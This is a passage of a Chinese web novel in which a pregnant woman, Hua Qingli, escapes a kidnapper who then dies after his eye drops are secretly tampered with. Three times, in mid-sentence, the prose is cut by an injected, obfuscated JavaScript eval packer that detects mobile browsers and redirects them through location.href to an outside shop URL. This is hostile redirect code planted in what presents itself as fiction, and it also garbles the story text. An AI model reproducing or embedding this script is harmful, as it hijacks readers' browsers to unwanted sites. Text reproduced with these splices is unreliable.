“Gwen，Evelyn，你们要不要先吃点东西。我点了奶茶还有炸鸡诶！”Esiason捧着刚到的炸鸡外卖凑上前来。 花清漓接过Esiason递过来的奶茶，随口说了句“谢谢”。 Gwen戴上一次性手套，打开了炸鸡外卖的盒子。 香味扑鼻的炸鸡十分诱人，可花清漓闻到炸鸡的味道，只觉得反胃恶心。 她强忍着恶心，拿起平板查看今天直播订单记录来借此转移自己的注意力。 Gwen等人只以为她又忙着工作，忍不住提醒她：“Evelyn，等一下再看吧。先吃点东西！”说着，举起一块炸鸡递到花清漓的嘴边。 炸鸡的香味对此刻的花清漓来说简直就是灾难。 “拿走～”伴随着几声干呕，花清漓捂着胸口，脸色苍白。 花清漓的干呕反应来得太突然，同事们都愣在原地，面面相觑，对花清漓突如其来的身体反应有了一致的猜测。 由于直播间还开着，在线的观众也因此炸开了锅。 正在看直播的沈确也愣在了原地。 33.33 花清漓捂着胸口，脸色苍白地起身冲进洗手间趴在水池里呕吐。 “你没事吧？”沈确不知何时来到了花清漓的身后，递过来一张纸巾。 花清漓一手扶着墙，支撑着自己的身体，俯下身捧起几口自来水漱口。 “一会儿带你去医院。”沈确上前替轻轻拍了拍花清漓的背道。 “我没事。我还要回去继续直播。”花清漓支在洗手池边，脸色苍白地回答道。 沈确连忙劝道：“你别闹了，你自己身体状况你应该清楚。我现在就带你去医院检查。” 花清漓还想拒绝，可再次袭来的恶心感让她趴在水池边阵阵干呕，一句话都说不上来。 待到花清漓缓过神时，Mavis捧着平板追了出来。 “Evelyn你没事吧？”Mavis上前关切地询问道。 “我没事。”花清漓扶着洗手台道。 “你去过医院吗？”Mavis追问道。 “还没。直播完再说……”花清漓话还没说完，又是一阵干呕。 沈确见状赶忙上前扶住她，道：“现在就去医院，你的身体要紧。等检查结果出来，我亲自去和伯父伯母说。” 花清漓虚脱地闭上眼，有气无力道：“知道了。” 就在两人准备前往医院时，沈确的电话却不合时宜地响了起来。 沈确挂断电话，继续扶着花清漓往外走。可这通电话似乎没有要挂断的意思。 “稍等一下。”沈确搂着花清漓道，拿出手机翻看来电联系人，发现是工作室的同事。 沈确无奈接通了电话，下一秒就听见电话那头传来火急火燎的声音：“Keder，我们新项目的产品的原材料供应链被人恶意切断了！现在整个申城没有任何一家原料商能给我们供货！怎么办？而且今天还来了卫生组织的工作人员，要求对我们所有人进行排查！” “怎么会这样？”沈确蹙眉道，为难地看着花清漓。 花清漓本来也不想麻烦沈确，索性道：“我自己去医院吧。放心吧，我做完检查等你来接我回去，怎么样？” 沈确犹豫再三，电话里传来阵阵催促，他无奈只好答应花清漓的提议。 “那我走了，你路上注意安全。”沈确嘱咐道。 “知道了。不用担心我！你去忙吧，我做完检查就回去！”花清漓宽慰道。 沈确见花清漓坚持，只要答应：“那我走了？” “需要我和你说再见吗？”花清漓觉得这样的沈确有点好笑又有点可爱。 沈确也被自己逗笑，依依不舍地对花清漓道了句“再见”后，匆匆返回了工作室。 花清漓站在原地，眼神逐渐变冷。 她拿出手机将一则编辑好的短信发送出去后，才回到自己的工位上拿起包离开工作室大楼。 今天是个阴天，闷热潮湿。 花清漓独自抵达医院后，先是给自己挂了个妇产科，随后在医生的建议下又挂了个另一个科室做检查。 从妇产科做完检查之后，花清漓看着检查报告上的文字，神色复杂地朝着另一个科室走去。 在经历过漫长的等待之后，花清漓的名字终于出现在诊室门口的电子显示屏的就诊人一栏中。 花清漓走进诊室，一脸平静地向医生描述了自己的情况。在得到理想中的答案后，她才如释重负地从诊室走出来前往取药窗口拿药。 她的身体情况和她想象中一样。真是太可惜了，她现在的身体状况根本就不能让她好好上班。 花清漓失魂落魄地收好检查报告，朝着医院大门走去。在门口随手拦了一辆出租车，上车对司机报了DH&D所在的商务大楼后，就疲惫地缓缓睡去。她越睡越沉，丝毫没有察觉到出租车已从市中心行驶到了一处偏僻的海边废弃小屋外。 车停下的时候，花清漓也正好醒来却自己发现嘴巴上贴着一大张胶布，怎么也发不出多少声音。 看到四周陌生又空旷的环境，花清漓的心一瞬间提到了嗓子眼。想要喊救命，又发现自己的手脚都被麻绳捆得死死的。 司机并不在车上。 花清漓强迫自己冷静下来，借机观察这车内外的情况。 由于是阴天的关系，车辆由于熄火，车内很暗。车窗都被锁住了。这辆车并不是普通的出租车，车上没有计程设备。 那股强烈的恶心感再度涌了上来，花清漓难受地呜咽了几声。这声音却惊动了守在车外不远处的人。 花清漓听见渐循环渐近的脚步声，害怕地朝着座椅上缩了缩。 那脚步声在车门旁停下。 月光透过窗户从外面照射进来，花清漓看到了车窗外的人影。恍惚间她才注意到天已经黑了。 下一秒，那人拉开后座的车门，一柄匕首从门外探进来，抵在了花清漓的颈动脉上。 那人沉声对着花清漓命令道：“下来。” 花清漓看着男人握着匕首的手，顺从地下了车。 下车后，花清漓刚想抬头看一眼男人的样貌，抵在她脖子上的匕首又被抵得紧了一些。锋利的刀刃划伤了花清漓的脖子，留下一道浅浅的血痕。 “走到房子里去。”男人命令道。 花清漓乖乖照做，走进了那间悬崖边的废弃小屋。 两人进屋后，花清漓被身后的男人逼着上了二楼。两层楼衔接的楼梯拐角处，被安上了防盗栏杆和防盗铁门。 她看见男人掏出钥匙打开了铁门。 “去二楼。”男人再次命令道。 花清漓暂时没有想好逃离的办法，太鲁莽她只会死的更快。 在男人的威胁下，花清漓被逼着上了二楼。 这里非常空旷，只有一张椅子摆在房间中间。看来是这个男人早就准备好的。 她被男人逼着坐在了那张椅子上。那人从角落里拿来一捆编织绳将她牢牢地绑在了椅子上。 做完这些，这个男人才开口对她道：“真是对不起了，漓漓。你也知道，我被警方盯上了，现在很需要钱吧。” 听到这句话，花清漓一瞬间猜出这个男人正是消失多日的应如风。 由于嘴上贴着好几层胶布，花清漓只能假装崩溃，挤出了一串眼泪，用求饶的眼神望着应如风。 天色漆黑一片，应如风根本就没有看到花清漓的眼神。他继续道：“你放心，我不会杀你。我只是想要一笔钱可以让我离开申城。很简单吧？一会我会用这个手机给你家里打电话，按我说的做，只要我拿到钱就会放了你。” 花清漓听到这话，配合地点点头。 应如风拨通了电话，借着变声器，朝着电话那头道：“墨先生，你女儿花清漓现在在我手上。不想她出事的话，就准备好两千万现金。” 电话那头的墨松寒正是花清漓的生父。接近半夜三更，突然听到女儿被绑架的消息，不论真假，他都吓得睡意全无，连忙对电话里道：“我会准备好钱，你别动我女儿。我马上去筹钱……” “我再提醒你一下，”应如风傲慢地继续对着电话里要求道，“不要想着报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382010|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警，否则你这辈子就再也没机会见到你女儿了。以防万一，我就让你听听你女儿的声音吧。” 应如风说着，举着电话来到花清漓面前，粗暴地撕开了她嘴上的胶布。 胶布被撕开那剧烈的疼痛让花清漓倒吸一口凉气，但她没时间沉浸在疼痛里，趁着应如风电话还没挂，冲电话里大喊：“在海边的废弃小屋……” 话还没说完，应如风便挂断电话上前粗暴地掐住了她的下巴，将一张新胶布重新贴在了她的嘴巴上威胁道：“你是真不怕我弄死你。” 花清漓知道应如风需要钱，而自己的命在此刻就是他的摇钱树。他没有拿到钱不会就这么杀掉自己。 应如风从花清漓的眼神中看出了她的想法，笑道：“你的眼睛会说话。要是把你做成雕塑，我一定可以再出一次风头！” 疯子。花清漓在心里暗骂道。 “为了惩罚你不听话，我明天早上再来。”应如风胜券在握地通知完，转身走出小阁楼，甚至还当着花清漓的面将小阁楼的铁门用铁链紧紧锁住。 做完这些，应如风站在铁门外看着花清漓笑道：“我今天看见你从妇产科出来。你怀孕了对吧？你放心，明天早上我会带点清淡的早餐过来给你。今晚就委屈你先饿肚子吧！” 应如风说完，收好钥匙头也不回地转身离开。 花清漓竖起耳朵自信听着楼下的动静，在确认应如风开车离开后，终于能开始尝试逃脱。 她低头查看自己坐着的椅子，看到了凳子腿上几个拧着螺帽的螺丝。 抱着试一试的心态，她侧身用手指缓缓探下去，成功摸到了螺帽。她试着转动螺帽，发现居然可以扭出来。花清漓的心里瞬间燃起了希望。 她加快了手上的动作，一边注意着楼下的动静，一边麻利地拆掉了凳子腿上的所有螺丝。接着，她前后左右晃动椅子，加速着椅子的木头之间的间隙变大。 终于，椅子在她多次的晃动之下成功散架。花清漓随着椅子的倒塌一屁股跌坐在了地上，她顾不上疼痛，随手拿起椅子散落的一根粗木头来到玻璃窗前。 玻璃窗果然被封死了。外面有个小阳台，再就是大海，意外的是，海滩离这里并不远。海滩上还亮着不少灯。 花清漓用刚才拆下来的凳子腿杂碎了窗户玻璃，翻到了阳台栏杆上。 就在这时，小屋的铁门传来开锁的声音。花清漓看着近近百米高的悬崖，犹豫要不要从这里跳下去。 可谁知下一秒，门就被推开，拎着小吃的应如风发现了花清漓的举动，丢下手里的东西就冲上前来抓住了花清漓的脚踝。 “从这里跳下去你会死的知不知道？”应如风焦急地劝道。 “你放开我——”花清漓恐惧地挣扎着。 两人推搡之间，花清漓奋力挣脱了应如风桎梏自己的手后，却由于力量的悬殊，重心偏移翻下了栏杆，当着应如风的面跌进了海里。 “花清漓——”应如风被突如其来的意外吓得呆在了原地。 完了，这下真的完了。 花清漓怀孕了，她跌下去万一死了就是一尸两命。自己无论如何都逃脱不了法律的制裁。 怎么办？ 应如风探出半个身子查看着海平面。月光洒在海面上泛着粼粼的银光，但却没有花清漓的身影。 他不知道花清漓会不会游泳。如果不会，她一定会被淹死，如果会，那接下来就轮到自己了。 那花清漓最好还是淹死吧。应如风这样想着，慌慌张张地逃离了这间小屋。 34.34 冰冷刺骨的海浪时不时地将花清漓淹没。 在反复呛了几口海水后，在黑暗中，花清漓被海面上漂浮的旧轮胎迎面撞在了脑门上。额头和呛水的肺部同时传来剧烈的疼痛，花清漓迅速抱住这个旧轮胎，将自己的一只手臂穿进去，好借力让自己浮在海面上。 她环顾四周寻找海滩的方向。 在漆黑的海面上，花清漓才发现自己是如此渺小。 幸好，她看见了远处还亮着一串灯光的海滩。她再度燃起希望，一手抱着这只旧轮胎，一手划水朝着那片海滩游过去。 花清漓也不知道自己究竟在海里游了多久。 直到朝阳从海平面升起，周围的海水在阳光下被折射得波光粼粼，半空中出现了一处海市蜃楼。她终于能够看清那片海滩的样子。她庆幸自己跌落的那个悬崖并不高，且距离开放海滩也不远。她继续朝着海滩的方向游过去。 待到她靠近海滩时，她已经累得有些虚脱了。可她不敢休息，她觉得自己此刻仿佛是一条被海浪拍上岸的鱼。如果不能及时回到家，就只有死路一条。 终于，她的脚触到了海水下的沙滩。 花清漓松开那个旧轮胎朝着岸上狼狈地走去。 清晨的海滩上没有人，花清漓只好强撑着体力透支的身子，朝着不远处亮着灯的保安亭踉踉跄跄地爬过去。 她来到保安亭门口，疲惫地抬手敲打着窗户，用沙哑的声音大声问：“救命啊，有人吗？我要报警，有人绑架我，把我推下悬崖。我是从海里游过来的。” 保安亭的门很快被打开了，一个穿着条纹大短裤的中年大叔走出来，被门前瘫坐在地上浑身湿透的花清漓吓了一跳。连忙道：“姑娘，要不我先送你去医院吧？” “请先帮我报警，求你。”花清漓跪坐在地上恳求道。 保安大叔连忙进屋拿起手机帮忙报了警。随后又从屋子里拿来毯子给花清漓盖在身上道：“姑娘，你也别嫌弃，我在这儿当大半辈子保安了。这个毯子是旧了点，不过我洗得很干净的。” “谢谢。”花清漓由于体力透支，跪坐在地上半天也站不起来。以至于警车来的时候，是一位警察将她背上警车的。 到警局做笔录时，花清漓详细描述了从被绑架到小屋后被勒索、自救逃脱，再到被应如风推下海、在海面上漂泊至清晨，游泳到海滩成功求救的全过程。还不忘补充道：“他有夜盲症，今天、不对，是昨天，昨天晚上应该也是提前用了夜盲症的相关药物；他有家暴史，前不久他的妻子也在遭受了他长期的殴打后死亡……” 做完笔录后时间已临近中午。 警方帮忙联系了沈确与花清漓的父亲墨松寒。 先行抵达的是沈确。他拎着装有换洗衣物的袋子冲进来，径直来到花清漓的面前。看见花清漓憔悴苍白的脸庞，道：“你吓坏了吧。头疼不疼？我看看有没有发烧。” 他说着，抬手抵在了花清漓的额头上。 花清漓此刻确实有点低烧。但她自己觉得不是因为着凉，而是单纯地因为昨晚在海面上漂浮一整夜，被海浪声、风声，以及海平面下未知的深度、幻想中的未知生物所带来的恐惧感给吓的。她木纳地呆坐在椅子上，没回答沈确。 “先换衣服。” 沈搀扶着她，朝着洗手间里走去。 在洗手间门口，沈确将手里的袋子递给花清漓：“给你带了衣服，还有毛巾、鞋子也带了。我帮你把毛巾打湿，你擦一下身上的盐和沙子。用过的毛巾就拿出来递给我洗。” “知道了。”花清漓有气无力地应声，拿着沈确塞给自己的毛巾和衣服走进卫生间清理身体。 换好衣服再出来，花清漓整个人都原本紧绷的神经也终于渐渐放松。 沈确将花清漓换下来的脏衣服装进袋子时，一位女警拎着两份早餐走过来，另外还将一瓶甜牛奶递到花清漓手里，一边安慰道：“你特别勇敢。你放心，我们一定会抓到应如风的。在这之前，先吃点东西吧！” “谢谢。”花清漓有气无力地道了谢，靠在沈确怀里休息。 胃里空荡荡的，有点疼。花清漓捧着女警给的早餐，勉强地递到嘴边吃了一口。 吃早餐时，她附在腿上的手在不自觉间掐进了大腿的肉里。 直到突然被沈确抓住手腕，花清漓低头看手的时候，看到了自己大腿皮肤上留下了自己的抓痕才意识到自己刚刚做了什么。 她又发作了。 花清漓紧张地看向沈确的眼睛，听到他用商量的语气跟自己说：“我再给伯父打个电话。这种事情还是告诉他们比较好，好吗？” 花清漓麻木地点了点头。 在沈确打完电话回来后，花清漓听到他说：“伯父听到应如风打过去勒索的电话就报了警，然后从泉亭开车赶过来。现在正在路上，马上就到。” 花清漓沉默着，脑海中忽然在想：不知道师父会怎么处理这件事。 在漫长的等待中，花清漓终究是精疲力竭，体力不支地靠在沈确的身上休息。 终于，在一个小时后，警局的门被人推开。 花清漓靠在沈确的怀里，迷迷糊糊地看见了爸爸匆匆赶来的身影。只可惜她现在连睁开眼的力气都没有。 “漓漓？”墨松寒在泉亭警方那里得到女儿成功逃脱绑架的消息后，便马不停蹄地驱车，花了两个半小时跨越175公里赶来了申城。 沈确见到墨松寒，对他道：“梨梨被推到海里，她是自己从海里游到海滩上的保安室求救的。” 墨松寒听到花清漓的自救经历，上前在她身旁的椅子上坐下，拉过她的手腕，看见了上面红肿的勒痕，心疼地看着她道：“没想到应如风那个畜生居然是这样的人，原来是他干的。我不会放过他的。” 花清漓被吵得不得不睁开眼。她冷淡地看着爸爸，问：“妈妈最近又在剧团指导歌舞剧的演出？” “是啊，她已经两个星期没有回家了。天天都待在剧团里。”墨松寒提起妻子的时候，眼中不自觉地流露出几分冷漠。 “那就不要告诉妈妈好了，免得影响她。”花清漓轻声开口要求道。 “知道了。等你妈妈演出完我会和她说的。”墨松寒点头答应。 几人沉默片刻，墨松寒才注意到沈确还亲昵地搂着自家女儿的腰。 沈确注意到墨松寒的视线落在了自己的手上，连忙将手臂收了回去。 墨松寒看着花清漓，提议道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399798|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天去医院检查一下身体。” “不用了，今天刚去医院检查过，没什么事。”花清漓拒绝道。 “那怎么行？”墨松寒担心道，“你刚溺了水，当然要去医院详细检查一下才好。最近也不要上班了，在家里好好休息。沈确这小子要是欺负你，我就让沈行打断他的腿！” 无辜躺枪的沈确好笑道：“这也能扯上我啊？” 墨松寒毫不客气地回怼道：“漓漓不是和你住在一起了吗？从小到大沈平江那老东西就没教过你要照顾漓漓吗？” 墨松寒口中的沈平江正是沈确、沈行两兄弟的生父。与墨松寒亦是相识多年的至交好友。 “伯父，我……” “不用解释了，”墨松寒指着沈确骂道，“我早就知道你和漓漓会有这么一天。你小子还真就和你哥说的一个样，你从小就觊觎我们家漓漓。真是日防夜防，家贼难防！你和那个应如风一样讨厌。你说说你，你有什么用？漓漓被绑架是自己逃回来的，你呢？你只是起到了一个通知我的作用。” “对不起，伯父。这次是我大意了……”沈确被骂得只能垂着头连连道歉。 墨松寒懒得理他，转头继续对花清漓道：“一会儿送你去医院办住院，这几天你就乖乖待在医院。其它的事情爸爸来处理。” 花清漓点点头，表示自己明白。 墨松寒指了指沈确，命令道：“抱上漓漓，坐我的车，去医院给漓漓办住院。” “我自己能走。”花清漓忍不住开口。此刻她有点担心去医院再做检查的话，身体状况被爸爸和沈确发现，那她接下来的计划就都乱套了。 “我扶着你。”沈确看着花清漓虚弱的身体，上前扶住她。 三人再次回到医院。在墨松寒的强烈要求下，除了超声波检查，能做的花清漓都被拉去检查了一遍。 检查结果出来的时候已是中午。好在没有什么大问题。 “还有一项超声波，以防万一也去检查一下。”墨松寒站在医院走廊外对花清漓道。 “检查过了的。”花清漓有气无力地开口道。 墨松寒蹙眉问她：“什么时候？” “昨天被绑架之前。检查结果上说没什么大问题。不过检查单子被我揣在口袋里，可能在我掉进海里后被海水泡烂了……”花清漓垂着脑袋回答道。 “没事就好。”墨松寒松了口气。过了几秒又问她：“昨天哪里不舒服？来做超声波检查？别告诉我你是怀孕……”他越说越激动，同时还不忘剜沈确一眼。 “不是的。”花清漓直接了当地否认道，“最近我胃不舒服，昨天去医院检查完发现确实胃的毛病。医生让我按时吃饭。”她说的也勉强算是实话，只不过并不是昨天在医院时医生对她说的那个意思。 墨松寒听到是胃病，勉强松了口气。对她道：“你看你，天天就知道工作，连饭也不知道好好吃。这么大个人了还这么挑食，这也不吃那也不吃的。我看你干脆当皇帝去，一顿一百零八道菜，随你挑！还每样就吃一小口。当皇帝最适合你！你和沈确俩都一样，一个从小什么蔬菜都不能吃，一个又挑食。” 花清漓看似垂着头挨训，实则早已对这些话左耳进右耳出。 35.35 “伯父，你就不要怪梨梨了。她昨晚也是受害者。一个人从那混蛋手里逃跑、从海里游回来已经很勇敢了。”沈确忍不住开口打断墨松寒。 墨松寒瞥了一眼沈确，咬牙切齿道：“我过几天再找你算帐！” 花清漓坐在医院走廊的椅子上，没有搭理两人。而是在心中盘算着后续工作的相关事宜。等应如风的事情解决，她就正好有借口可以让师父对自己心怀愧疚，从而正式脱离师父的掌控。 一个Donald，一个景爷，还有之前的傅容兮。如果类似这样的人源源不断地出现在自己的工作中，那这份工作对自己最初的意义就消失了。 她垂着头，在心中盘算好了一切才开口对两人道：“能不能回家去吵？我好累。” 墨松寒听见女儿开口，只好暂时放过沈确。 “沈确，你先送漓漓回去。”墨松寒看着女儿憔悴的脸，只好暂时放过他。 花清漓被沈确从椅子上扶起来，离开时，她突然回过头对爸爸要求道：“爸爸要来家里看我吗？来的时候能不能给我带一些吃的？我一会儿手机上发给您？” “也好。”墨松寒听到女儿的要求，只好送他俩上了出租车，自己则回到车里等待花清漓的信息。 坐上出租车的花清漓靠在窗户上，虚弱地捧着手机给爸爸打字发消息。她发的当然不是什么零食清单，而是将自己身体的真实情况告诉了爸爸，并且请爸爸帮忙保密。 消息发送后很快便得到爸爸肯定的回复。花清漓删掉聊天记录后才如释重负地按灭了手机屏幕。 她看着车窗外不断变换的街景，侧身靠在了沈确的怀里。 雪松夹杂着梨的香味从沈确的衣服上透出来。花清漓还挺喜欢这个味道，忍不住往沈确的怀里钻了钻。 她的耳朵贴在沈确的胸口，清楚地听见他的心跳声。 花清漓垂着眸，心中对沈确泛起一丝愧疚。自己接下来的计划应该会让沈确很难受吧。但是她实在没有别的什么办法，在可以博得师父的愧疚感和所有人的同情心之后，于她身处的这个混沌之局里全身而退。 沈确是局外人，也是她最亲近的人之一。只有让沈确流露出真实反应，其他人才不会怀疑她本人。 接下来的日子里，由于应如风绑架勒索失败，他的照片也就此登上了警方的通缉令。 此时此刻，应如风看着手机上自己的通缉令，崩溃地躲在一家破旧的小宾馆里盘算着逃跑的计策。 在极度紧张的状态下，他没能察觉到自己早已被人跟踪至此。 夜晚，他乔装打扮，在用过复方尿维氨滴眼液后偷偷溜出了房间，前往楼下的小卖部用现金买了点吃的。 只是他不知道，早已有人发现了他的踪迹，并一路跟踪至宾馆。 那人趁应如风离开后，偷偷撬开了他房门的锁，潜进他的房间四处摸索。最终在他搁在床上的外套口袋里摸出那瓶复方尿维氨滴眼液。他拧开盖子，将事先准备好的注射剂注入了滴眼液瓶里摇匀。 做完这些，那人又偷偷地从窗户翻了出去。 应如风回来的时候，并没有发现什么异样。 当天凌晨，下了暴雨。为了避开警方的追捕，应如风开着车行驶在漆黑的山间省道上。 周围来往的车辆很多。正当他庆幸自己离开了警方的搜捕范围时，身后响起了警察的警笛声。 应如风瞬间慌了神，为了看清前方的道路，他不得不再次摸出口袋里的那瓶复方尿维氨滴眼液朝着自己的眼睛里滴进去。 可是没想到，在用过滴眼液不到五分钟，他的眼睛就开始剧烈的疼痛，仿佛有两把刀狠狠地捅进了他的眼睛里在疯狂搅动。 他痛苦地呻吟着，勉强睁开一只左眼看路，一边忍不住抬起手揉搓右眼，希望可以缓解疼痛。 很快，他察觉到自己的眼前逐渐模糊，除了能感知到路灯发出的光芒，他什么也看不到。 他慌张地转动着方向盘想要踩下刹车找个地方停车，却没想到刹车居然在这个时候失灵了！ 他的车辆轮胎竟也在此刻打滑。 伴随着应如风没有章法的转动方向盘，最终，他意外踩下油门，连车带人地冲出了栅栏，滚下了山坡。 这条山间公路的山脚下是一座大水库。 应如风连人带车就这么落进了水库里。 四面八方涌开的水很快就从车的缝隙中渗进了车里。 他慌慌张张地解开安全带，想要找安全锤打碎车窗，却在摸索之中，发现车里的安全锤早已不知去向。 眼看渗进来的水已经没过自己的喉咙，应如风只能用手狠狠地拍打着车窗。只可惜并没有什么用。 他突然明白了花清漓被自己推进海里的那种绝望和对死亡的恐惧。 最终，应如风只能看着从窗外源源不断涌进来的水把自己淹没。 两天后。 天空阴沉沉的，时不时地降下一道无声的闪电。 花清漓那天从医院回来后就一直待在家里。爸爸前几天也在她的劝说下终于返回泉亭。 近几天沈确都在家办公，就是为了照顾她。 花清漓穿着黑色的睡衣趴在沙发里看电视，双腿搁在沈确的腿上享受着他的按摩。 她百无聊赖地趴在靠枕上按着遥控器。 临近中午，沈确自觉地去厨房给花清漓做午饭。 “想吃什么？”沈确走进厨房，系上围裙问她。 “下雨了，没有工作，没有钱，我也没胃口。”花清漓随意刷着手机翻看着商铺租售的消息。 “怎么，你说想开店，是真的啊？”沈确将刚刚煲好的山药粥盛出一碗，拿了勺子端到花清漓面前。 “我第一次煮这种粥，味道还不错。尝尝看？”沈确在她身旁坐下，用勺子舀了一勺粥，吹得不烫了才将勺子递到花清漓嘴边。 花清漓低头吃掉了勺子里的粥，评价了一句“味道不错”后继续玩着手机。 “是吗？”沈确笑道，“看来我的厨艺非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419014|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常稳定！” “是啊，我又没有否认过你的厨艺。”花清漓头也不抬地反驳道。 随着花清漓不断地刷着手机上的店铺招商广告、新闻等信息，沈确就这么将一小碗山药粥一口一口地喂她吃完。 “有看到心仪的商铺吗？”沈确侧身从一旁茶几上的纸巾盒里抽出一张纸，捻在手里伸到花清漓面前替她擦了擦嘴巴。 “暂时没有，这年头合适的商铺简直不要太难找。”花清漓继续低头翻着手机，蹙眉道。 “如果找不到，你准备怎么办？又或者说，如果你找到了，如果你准备开个人工作室，那你要准备的东西也很多。”沈确问。 花清漓懒散地朝着沙发上一倒，回答道：“没想好、没想好、没想好——” 她说完，躺在沙发上看着天花板。在思考了五分钟后，再次回答道：“我这个人，不喜欢做白日梦。没有脚踏实地地做到让我自己满意之前，我是不会去幻想未来的。我不喜欢这样。我也不喜欢别人对我的期待高过我的实力，这会让我觉得压力很大。” 花清漓说着，停下思考了一会儿，继续补充道：“其实我知道我们工作室很多人愿意跟着我，但是能力越大责任就越大。如果我没法保证他们跟着我收入稳定，他们估计也很难愿意留在我身边吧。都说职场无朋友，我在工作室那么多年，果然一个朋友都没有。而且……工作室是我师父的，就算我自己成立工作室、开店，他也不可能把自己的人交到我手上。真烦人。” 正当沈确想要开口，一阵手机来电铃声打断了他。 花清漓倾身从沈确的口袋里摸出他的手机准备替他接电话，却在看到手机上显示来电联系人是警方时有些愣神。 “怎么了？谁打来的？”沈确见她迟迟不接电话，奇怪地问。 花清漓看着手机屏幕，脑海中设想到：该不会是自己找人跟踪应如风的事被发现了吧？ “不接吗？”沈确见电话铃声响了又响，忍不住开口提醒道。 “哦……”花清漓回过神来，尴尬地笑了笑，强忍着紧张接通了电话。 “请问是沈确先生吗？关于花清漓小姐先前被绑架的事，我们已经找到了犯罪嫌疑人应如风。但是他于大前天的晚上，驾车穿过山间公路逃跑。但由于天气的原因，他驾驶的车辆发生了车祸，连车带人坠入了公路旁的一个大水库里溺亡。请问大前天晚上你们都在哪？有谁可以作证？”电话里的警察严肃地询问道。 花清漓与沈确听到这个消息，面面相觑。最终花清漓如实回答道：“我们最近都待在家。那天从警局回来后，我们和爸爸当时就去医院做了检查。我们有当时检查开的单子，医院的监控应该也有拍到我们。后来我们就一直待在家里直到现在。家门口也有监控。” “好的，我们一会儿就根据你们留的地址前去调监控取证。请保持通讯畅通。我们会随时传唤你。” “知道了。”花清漓平静地挂断电话，看向沈确，问：“他们该不会是怀疑我吧？” 36.36 然而事情并没有想象中复杂。由于警方调查了房子走廊里的监控、花清漓手机里的聊天记录以及通讯记录，都没有发现与应如风的死亡有关的线索。花清漓很快被排除嫌疑。最终，应如风死亡一事以车祸意外结案。 接下来的几天，沈确都陪着花清漓四处找适合租下来的写字楼。 两人在比对过多家写字楼之后，最终决定租下商业街附近的一间写字楼。 这栋楼距离DH&D所在的那栋楼并不远。 花清漓在沈确的陪同下，跟在房东太太身后来到这间新写字楼。 这间写字楼的面积用作工作室刚刚好，户型也和之前的DH&D差不多。 “你觉得怎么样？”沈确跟在花清漓身后，站在落地窗前俯视着楼下的风景问她。 花清漓抬手附在玻璃上，道：“看起来还不错，和我师父那里比起来就是小了一点，别的倒没什么差别。” “你准备租吗？”沈确双手抱胸靠在窗户边问她。 “挺好的，就这间吧。反正做工作室也不用太大，这个大小，刚刚好。”花清漓确定道。 “行，就这间。”沈确回过头对房东太太道，“价格就按我们谈好的来吧。今天就可以付房租。” 房东太太点头笑道：“行，合同我拟好了，这就给二位过目？” “好。我先付把三个月的房租付了吧。”花清漓看完合同道。 花清漓下定决心做的事向来爽快。签好合同、付过租金，她终于松了一口气。 两人离开写字楼走在大街上，花清漓的心情十分愉悦。 沈确看着她最近和自己四处走访，想到她刚怀孕，前几天还吐得那样天昏地暗的，忍不住关心道：“走了一天，累不累？要不要找个地方坐着休息一下？” 花清漓满脑子想着自己刚刚租下的工作室要如何规划，玩着手机随口回应道：“我有什么好累的。” 沈确沉默了片刻。其实他想说，两人要不要找个时间结婚，毕竟花清漓已经怀孕了。总不能让她担着“未婚先孕”的名号辞职、开工作室。既然花清漓怀孕了，那他就要负责到底。看来他得找个时间去定制一枚戒指来求婚。 “既然工作室的写字楼租下来了，下一次我们就得找商铺来做我们的线下直销店铺。不过这年头商铺简直不要太难租。”花清漓挽着沈确的手臂吐槽道。 “没关系，我也会帮忙找。”沈确安慰道。 花清漓翻着手机，发现了师父看到自己辞职信的回复。 菅云舒不明白一向以工作为重的花清漓怎么会突然会未婚先孕，甚至为了结婚要辞职。他表示无法理解，希望能与花清漓面谈。 看完师父发来的消息，花清漓暗自在心里笑了一声，回复师父说自己马上就到。 “怎么了？”沈确看她捧着手机发消息，忍不住问道。 花清漓笑道：“没什么，就是师父知道我辞职的事了。他没法理解我怎么会突然＇未婚先孕‘吧。不过这也是没有办法的事。”有这样简单粗暴的方法可以用，为什么要废那么多心思去考虑别的解决方案呢。把时间浪费在这上面根本没有意义。 “他骂你了？”沈确关心道。 “现在没有，不过一会儿我见他的时候不好说。”花清漓无所谓道。 “我陪你一起去？”沈确担心花清漓被师父骂，忍不住提议道。 花清漓瞄了一眼沈确，收起手机拒绝道：“不用了，无非就是骂我几句。没事。” 她说完，随口与沈确道了别，转身独自朝着DH&D所在的商务楼而去。 这是花清漓递交辞职信后第一次返回工作室。 花清漓一进门就吸引了不少人的注意力。 “Evelyn？”Gwen一身印花衬衫，手里捧着平板突然注意到从门外进来的花清漓，惊讶道。 